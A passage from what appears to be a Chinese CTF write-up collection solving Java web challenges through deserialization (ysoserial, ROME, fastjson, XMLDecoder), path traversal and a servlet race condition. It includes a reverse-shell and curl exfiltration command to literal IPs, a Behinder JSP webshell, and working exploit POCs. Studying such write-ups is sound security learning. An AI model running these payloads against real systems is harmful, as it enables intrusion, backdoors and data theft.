57466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢??
                # 获取payload
                payload_content=get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 9999

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

ysoserial

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC84MS43MC4xMDEuOTEvODg4OCAwJj4xJw==}|{base64,-d}|{bash,-i}" > payload

但是反弹shell不太行, 就通过 curl 数据外带

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,Y3VybCAtWCBQT1NUIC1kICJmbGFnPWBjYXQgL2ZsYWdfQVFVQWAiIGh0dHA6Ly8zOS45Ny4xMTQuNDM6ODg4OA==}|{base64,-d}|{bash,-i}" > payload

访问 /hello, data=Proxypayload 即可

[陇原战"疫"]ezjaba

题目链接(web-ezjaba): https://buuoj.cn/match/matches/57/challenges

jar包反编译后可以看到 pom.xml 中有 rome 依赖

<dependency>
     <groupId>rome</groupId>
     <artifactId>rome</artifactId>
     <version>1.0</version>
</dependency>

ROME反序列化, 过滤了两个类

java.util.HashMap
javax.management.BadAttributeValueExpException

但是BackDoor底下的finally完成了BadAttributeValueExpException类需要做的事, 可以直接触发toString, 原来的ROME链

参考: https://blog.csdn.net/rfrder/article/details/121236409

TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()

HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

直接截断从ToStringBean处开始构建, 即可直接触发, 原题不出网, 所以需要设置内存马, 小改一下即可使用

package com.lyzy.ctf.ezjaba.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho extends AbstractTranslet {
    static {
        try {
            Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method m = c.getMethod("getRequestAttributes");
            Object o = m.invoke(null);
            c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            m = c.getMethod("getResponse");
//        Method m1 = c.getMethod("getRequest");
            Object resp = m.invoke(o);
//        Object req = m1.invoke(o); // HttpServletRequest
            Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
//        Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
//        getHeader.setAccessible(true);
            getWriter.setAccessible(true);
            Object writer = getWriter.invoke(resp);
//        String cmd = (String)getHeader.invoke(req, "cmd");
            String[] commands = new String[3];
            String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                commands[0] = "cmd";
                commands[1] = "/c";
            } else {
                commands[0] = "/bin/sh";
                commands[1] = "-c";
            }
//        commands[2] = cmd;
            commands[2] = "cat /flag";
            writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
            writer.getClass().getDeclaredMethod("flush").invoke(writer);
            writer.getClass().getDeclaredMethod("close").invoke(writer);
        } catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

POC

package com.lyzy.ctf.ezjaba.exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.HashMap;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import org.apache.tomcat.util.codec.binary.Base64;

import javax.xml.transform.Templates;

public class POC {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(SpringEcho.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        ObjectBean objectBean = new ObjectBean(String.class,"ricky");

//        HashMap evilMap = new HashMap();
//        evilMap.put(objectBean,1);
//        evilMap.put(objectBean,1);
//        setFieldValue(objectBean,"_equalsBean",equalsBean);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(toStringBean);
        oos.close();

        System.out.println(URLEncoder.encode(Base64.encodeBase64String(barr.toByteArray())));
//        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//        Object o = (Object)ois.readObject();
//        o.toString();

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

[安洵杯2021]ezjson

任意文件下载 file=/proc/self/fd/5 获得源码

有一个fastjson反序列化入口

@ResponseBody 
@RequestMapping({"/json"}) 
public String hello(HttpServletRequest request, HttpServletResponse response) { 
    String Poc = request.getParameter("Poc"); 
    if (Poc != null) { 
            String pattern = ".*Exec.*|.*cmd.*";   /
            boolean isMatch = Pattern.matches(pattern, Poc);
        if (isMatch) { 
            return "No way!!!"; 
        } else { 
            JSON.parse(Poc); 
            return Poc; 
        } 
    } else { 
      return "readme"; 
    } 
}

fastjson版本为1.2.47,需要我们绕过autoType,然后去触发我们的App.Exec#getFlag(), fastjson有个特性,遇到\x和\u就会解码,所以正则用十六进制编码绕过

public String getFlag() throws Exception { 
    Exec defineclass = new Exec(this.getClass().getClassLoader()); 
    Class clazz = defineclass.defineClass((String)null, this.ClassByte, 0, 
    this.ClassByte.length); 
    Method exec = clazz.getMethod("Exec", String.class); 
    Object Obj = clazz.newInstance(); 
    exec.invoke(Obj, this.cmd); 
    return this.flag; 
}

因为用的是parse来进行反序列化,可以用$ref调用任意的getter, 也可以通过su18师傅的方法

题目没有出网, 构造命令回显(也可以写文件, 然后通过最开始的文件下载获取flag)

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class SpringEcho  {
    public static void Exec(String cmd) {
        try {
            Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method m = c.getMethod("getRequestAttributes");
            Object o = m.invoke(null);
            c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            m = c.getMethod("getResponse");
            Method m1 = c.getMethod("getRequest");
            Object resp = m.invoke(o);
            Object req = m1.invoke(o); // HttpServletRequest
            Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
            getHeader.setAccessible(true);
            getWriter.setAccessible(true);
            Object writer = getWriter.invoke(resp);

            String[] commands = new String[3];
            String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                commands[0] = "cmd";
                commands[1] = "/c";
            } else {
                commands[0] = "/bin/sh";
                commands[1] = "-c";
            }
            commands[2] = cmd;
            writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
            writer.getClass().getDeclaredMethod("flush").invoke(writer);
            writer.getClass().getDeclaredMethod("close").invoke(writer);
        }
        catch (Exception e){

        }

    }
}

POC

import java.util.Locale;
import javassist.ClassPool;

public class exp {
    public  static  String bytesToHexString(byte[] src){
        StringBuilder stringBuilder = new StringBuilder("");
        if (src == null || src.length <= 0) {
            return null;
        }
        for (int i = 0; i < src.length; i++) {
            int v = src[i] & 0xFF;
            String hv = Integer.toHexString(v);
            if (hv.length() < 2) {
                stringBuilder.append(0);
            }
            stringBuilder.append(hv);
        }
        return stringBuilder.toString();
    }
    public static void main(String[] args) throws Exception{
        byte[] bytes = ClassPool.getDefault().get("SpringEcho").toBytecode();
        String code = bytesToHexString(bytes).toUpperCase(Locale.ROOT);
        System.out.println("{\n" +
                "    \"a\": {\n" +
                "        \"@type\": \"java.lang.Class\",\n" +
                "        \"val\":\"App.\\x45\\x78\\x65\\x63\"\n" +
                "    },\n" +
                "    \"b\": {\n" +
                "        \"@type\":\"App.\\x45\\x78\\x65\\x63\",\n" +
                "        \"ClassByte\":x\'"+code+"\',\n" +
                "        \"\\x63\\x6d\\x64\": \"ls\",\n" +
                "        \"flag\": {\"$ref\":\"$.b.flag\"}\n"+
                "    }\n" +
                "}");
    }
}

[GKCTF 2021]babycat-revenge

访问是一个结合登录和注册的网页, 但是注册功能因前端限制不让直接使用, 抓包可以看到代码逻辑

<script type="text/javascript">
    // var obj={};
    // obj["username"]='test';
    // obj["password"]='test';
    // obj["role"]='guest';
    function doRegister(obj){
        if(obj.username==null || obj.password==null){
            alert("用户名或密码不能为空");
        }else{
            var d = new Object();
            d.username=obj.username;
            d.password=obj.password;
            d.role="guest";

            $.ajax({
                url:"/register",
                type:"post",
                contentType: "application/x-www-form-urlencoded; charset=utf-8",
                data: "data="+JSON.stringify(d),
                dataType: "json",
                success:function(data){
                    alert(data)
                }
            });
        }
    }
</script>

可以通过post传参进行注册, 根据ajax模拟

data={"username":"test","password":"test","role":"guest"}

普通用户只能使用download功能, 可以进行任意文件读取

/home/download?file=../../../../../../../../proc/self/environ

得到当前路径和tomcat路径, 可以得知静态文件路径/usr/local/tomcat/webapps/ROOT/static/

PWD=/home/app
CATALINA_HOME=/usr/local/tomcat

去查web.xml

/home/download?file=../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

得到整个服务的配置

<web-app>
  <servlet>
    <servlet-name>register</servlet-name>
    <servlet-class>com.web.servlet.registerServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>login</servlet-name>
    <servlet-class>com.web.servlet.loginServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>home</servlet-name>
    <servlet-class>com.web.servlet.homeServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>upload</servlet-name>
    <servlet-class>com.web.servlet.uploadServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>download</servlet-name>
    <servlet-class>com.web.servlet.downloadServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>logout</servlet-name>
    <servlet-class>com.web.servlet.logoutServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>logout</servlet-name>
    <url-pattern>/logout</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>download</servlet-name>
    <url-pattern>/home/download</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>register</servlet-name>
    <url-pattern>/register</url-pattern>
  </servlet-mapping>
  <display-name>java</display-name>
  <servlet-mapping>
    <servlet-name>login</servlet-name>
    <url-pattern>/login</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>home</servlet-name>
    <url-pattern>/home</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>upload</servlet-name>
    <url-pattern>/home/upload</url-pattern>
  </servlet-mapping>

  <filter>
    <filter-name>loginFilter</filter-name>
    <filter-class>com.web.filter.LoginFilter</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>loginFilter</filter-name>
    <url-pattern>/home/*</url-pattern>
  </filter-mapping>
  <display-name>java</display-name>

  <welcome-file-list>
    <welcome-file>/WEB-INF/index.jsp</welcome-file>
  </welcome-file-list>
</web-app>

就可以获取其中的class了, 一共6个功能1个过滤器

# 其它的类似
/home/download?file=../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/com/web/servlet/registerServlet.class

反编译查阅代码, 还可以下载得到DAO文件

import com.web.dao.Person;
import com.web.dao.baseDao;

查阅上传代码发现限制后缀但不限制文件路径, 也就是可以上传到我们需要的位置, 除此之外还有对文件内容的简单过滤

String[] blackList = { "Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit" };

看到注册器则是一个正则匹配注册, 我们需要"role":"admin"

    if (!StringUtils.isNullOrEmpty(role)) {
      var = var.replace(role, "\"role\":\"guest\"");
      person = (Person)gson.fromJson(var, Person.class);
    } else {
      person = (Person)gson.fromJson(var, Person.class);
      person.setRole("guest");
    }

做的是json解析, 所以可以通过JSON解析unicode或者注释绕过去

data={"username":"1","password":"1","role":"guest","\u0072\u006F\u006C\u0065":"admin"}

JSON解析后会对重复的值进行覆盖, 也就是"\u0072\u006F\u006C\u0065":"admin"解析为"role":"admin"后覆盖了前面的"role":"guest"

或者通过注释绕过匹配, 因为"role":/**/"admin"不会影响解析后的赋值

data={"username":"2","password":"2","role":"guest","role":/**/"admin"}

得到admin权限后通过baseDao发现登录处调用其getConnection方法

connection = baseDao.getConnection();

跟进发现调用其getConfig方法

  public static void getConfig() throws FileNotFoundException {
    Object obj = (new XMLDecoder(new FileInputStream(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/db/db.xml"))).readObject();
    if (obj instanceof HashMap) {
      HashMap map = (HashMap)obj;
      if (map != null && map.get("url") != null) {
        driver = (String)map.get("driver");
        url = (String)map.get("url");
        username = (String)map.get("username");
        password = (String)map.get("password");
      } 
    } 
  }

然后getConfig会对其xml文件进行反序列化, 考察的是XMLDecoder反序列化, 使用 weblogic XMLDecoder payload 去绕过(冰蝎马, 连接密码rebeyond)

<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/ricky.jsp</string>
<void method="println">
<string><![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]></string>
</void><void method="close"/>
</object>
</java>

XMLDecoder相当于执行

java.io.PrintWriter x = new java.io.PrintWriter("/usr/local/tomcat/webapps/ROOT/static/ricky.jsp");
x.println("...");
x.close();

上传路径

../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/db/db.xml

然后再次登录即可触发, 执行/readflag即可

登陆不了_Revenge

验证码处有任意文件读取漏洞

/v/c?r=YzgxZTcyOC5qcGc=

看进程, 得知tomcat位置

/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vcHJvYy9zZWxmL2NtZGxpbmU=
file=/home/apache-tomcat-8.5.45/conf/logging.properties

然后就是去查阅ROOT根目录, web.xml和pom.xml

/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vaG9tZS9hcGFjaGUtdG9tY2F0LTguNS40NS93ZWJhcHBzL1JPT1QvV0VCLUlORi93ZWIueG1s
/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vaG9tZS9hcGFjaGUtdG9tY2F0LTguNS40NS93ZWJhcHBzL1JPT1QvV0VCLUlORi9wb20ueG1s

然后根据pom.xml去获取框架

      <dependency>
         <groupId>ctfshow</groupId>
         <artifactId>tiny-framework</artifactId>
         <scope>system</scope>
         <version>1.1</version>
         <systemPath>${basedir}\lib\tiny-framework-1.0.1.jar</systemPath>
      </dependency>
   </dependencies>

去下载 tiny-framework-1.0.1.jar

/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vaG9tZS9hcGFjaGUtdG9tY2F0LTguNS40NS93ZWJhcHBzL1JPT1QvV0VCLUlORi9saWIvdGlueS1mcmFtZXdvcmstMS4wLjEuamFy

用winrar自带的修复功能修复后即可反编译查阅源码, 分析后继续获取class文件

/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vaG9tZS9hcGFjaGUtdG9tY2F0LTguNS40NS93ZWJhcHBzL1JPT1QvV0VCLUlORi9jb25maWcvY29udHJvbGxlci5wcm9wZXJ0aWVz

s=com.ctfshow.controller.Index
errorController=com.ctfshow.controller.ErrorPage
index=com.ctfshow.controller.Index
v=com.ctfshow.controller.Validate

/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vaG9tZS9hcGFjaGUtdG9tY2F0LTguNS40NS93ZWJhcHBzL1JPT1QvV0VCLUlORi9jbGFzc2VzL2NvbS9jdGZzaG93L2NvbnRyb2xsZXIvSW5kZXguY2xhc3M=

/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vaG9tZS9hcGFjaGUtdG9tY2F0LTguNS40NS93ZWJhcHBzL1JPT1QvV0VCLUlORi9jbGFzc2VzL2NvbS9jdGZzaG93L2NvbnRyb2xsZXIvVmFsaWRhdGUuY2xhc3M=

发现注册处可以上传文件, 写马可以写在WEB-INF下, 然后覆写web.xml触发tomcat热部署getshell

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

然后写在 ../../../../../../../home/apache-tomcat-8.5.45/webapps/ROOT/WEB-INF/shell.jsp, 覆写web.xml

    <servlet>
        <servlet-name>shell</servlet-name>
        <jsp-file>/WEB-INF/shell.jsp</jsp-file>
    </servlet>
    <servlet-mapping>
        <servlet-name>shell</servlet-name>
        <url-pattern>/ricky</url-pattern>
    </servlet-mapping>

对路径的匹配也需要改一下, 不能直接匹配我们的路径否则会直接返回404

    <filter-mapping>
        <filter-name>routerFilter</filter-name>
        <url-pattern>/404.html</url-pattern>
        <url-pattern>/s/*</url-pattern>
        <dispatcher>REQUEST</dispatcher>
    </filter-mapping>

依次写入后等待些许访问 /ricky 即可getshell, 根目录 cat /ctfshowflag 即可

[VNCTF2022]easyJ4va

首先是任意文件读取, 根据环境变量确定tomcat具体目录然后搜索

file:///proc/self/environ
file:///usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
file:///usr/local/tomcat/logs/localhost.2022-02-12.log
file:///usr/local/tomcat/logs/localhost_access_log.2022-02-12.txt

通过日志成功找到恶意路由以及延伸

file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class

GET部分可以尝试多线程爆破获取, 需要两个不同的name(一个随便写, 另一个为vnctf2022), 比赛时靠着日志读取到其他人爆破的key

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String reqName = req.getParameter("name");
        if (reqName != null) {
            this.name = reqName;
        }

        if (Secr3t.check(this.name)) {
            this.Response(resp, "no vnctf2022!");
        } else {
            if (Secr3t.check(this.name)) {
                this.Response(resp, "The Key is " + Secr3t.getKey());
            }

        }
    }

后续尝试发现可行, 利用此竞争脚本, 考察 servlet 的线程安全问题

参考: https://y4tacker.github.io/2022/02/03/year/2022/2/Servlet%E7%9A%84%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/

# -*-coding:utf-8-*-
import requests
import threading
import time

url = "http://432a4451-aa66-4ccd-a1a0-da92bf9c8192.node4.buuoj.cn:81/evi1?name={}"

def ricky():
    res = requests.get(url=url.format("ricky"))
    if "The Key is" in res.text:
        print(res.text)
    else:
        print(res.text)

def vnctf2022():
    res = requests.get(url=url.format("vnctf2022"))
    if "The Key is" in res.text:
        print(res.text)
    else:
        print(res.text)

if __name__ == '__main__':
    event = threading.Event()
    while True:
        threading.Thread(target=ricky, args=()).start()
        threading.Thread(target=vnctf2022, args=()).start()
        time.sleep(0.5)
        event.set()

POST部分是一个简单的反序列化

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String key = req.getParameter("key");
        String text = req.getParameter("base64");
        if (Secr3t.getKey().equals(key) && text != null) {
            Decoder decoder = Base64.getDecoder();
            byte[] textByte = decoder.decode(text);
            User u = (User)SerAndDe.deserialize(textByte);
            if (this.user.equals(u)) {
                this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
            }
        } else {
            this.Response(resp, "KeyError");
        }

    }

由于 transient 不能直接被 readObject 或 writeObject 方法序列化, 需要单独分开赋值

参考:

根据题意攥写序列化, 单独提取 height 值并赋值而不是将 height 序列化

    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        this.height = (String)s.readObject();
    }

    private void writeObject(ObjectOutputStream s) throws IOException {
        s.defaultWriteObject();
        s.writeObject("180");
    }

最终payload

evi1?base64=rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAwACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2NnQAAzE4MHg=&key=YYixtWPfKHsBvjELiwa90ZmFhuMcskBZ

[i春秋2021传说殿堂]easy java

URLDNS探测gadget参考: https://bishopfox.com/blog/gadgetprobe

GadgetProbe下载: https://github.com/BishopFox/GadgetProbe/releases/tag/v1.0

主要看Flag类

    public Flag getFlagInstance(Flag flagTemplate) throws Exception {
            if (create){
            // flag开头的值对了就会返回Flag对象, 否则终止本次运行
            if (!flagInstance.flag.startsWith(flagTemplate.flag)){
                throw new Exception("flag not valid");
            } else {
                return flagTemplate;
            }
        } else {
            return flagInstance;
        }
    }


    private Object readResolve() throws Exception{
        // 反序列化首先触发重写的 readResolve
        return getFlagInstance(this);
    }

参考 GadgetProbe 可以得知是采用 LinkedHashMap 结合 URLDNS 触发的探测gadget, 当flag开头的值输入正确时返回对象致使整个程序正常运行, 顺利触发DNS, 反正会因Exception提前中断反序列化, 无法触发DNS, 参考攥写EXP即可

package exploit;

import com.web.simplejava.model.Flag;
import org.springframework.http.HttpEntity;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import java.lang.reflect.Field;
import java.net.URI;
import java.net.URL;
import java.util.LinkedHashMap;

public class exp {
    public static void doGETParam(Object obj) throws Exception{
        URI url = new URI("http://localhost:8080/flag");
        HttpEntity<byte[]> requestEntity = new HttpEntity<>(Serializables.serialize(obj));
        RestTemplate restTemplate = new RestTemplate();
        ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
        System.out.println(res.getStatusCodeValue());
        System.out.println(res.getBody());
    }
    public static void main(String[] args) throws Exception {
        String dic = "abcdefghijklmnopqrstuvwxyz0123456789-";

        for (int i = 0;i < dic.length(); i++){
            char ch = dic.charAt(i);
            Flag clazz = new Flag("flag{" + ch);
            LinkedHashMap hm = new LinkedHashMap();

            URL url = new URL("http://r" + ch + ".e6l4.dnslog.plus");

            Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
            f.setAccessible(true);

            f.set(url, 0xaa);
            hm.put("test", clazz);
            hm.put(url,"test");
            f.set(url, -1);

            exp.doGETParam(hm);
        }
    }
}

根据DNS log查看判断出的字母, 一次一位, 除非写入校验DNS触发的函数(实现难度较大且容错率小)

...

results matching ""

    No results matching ""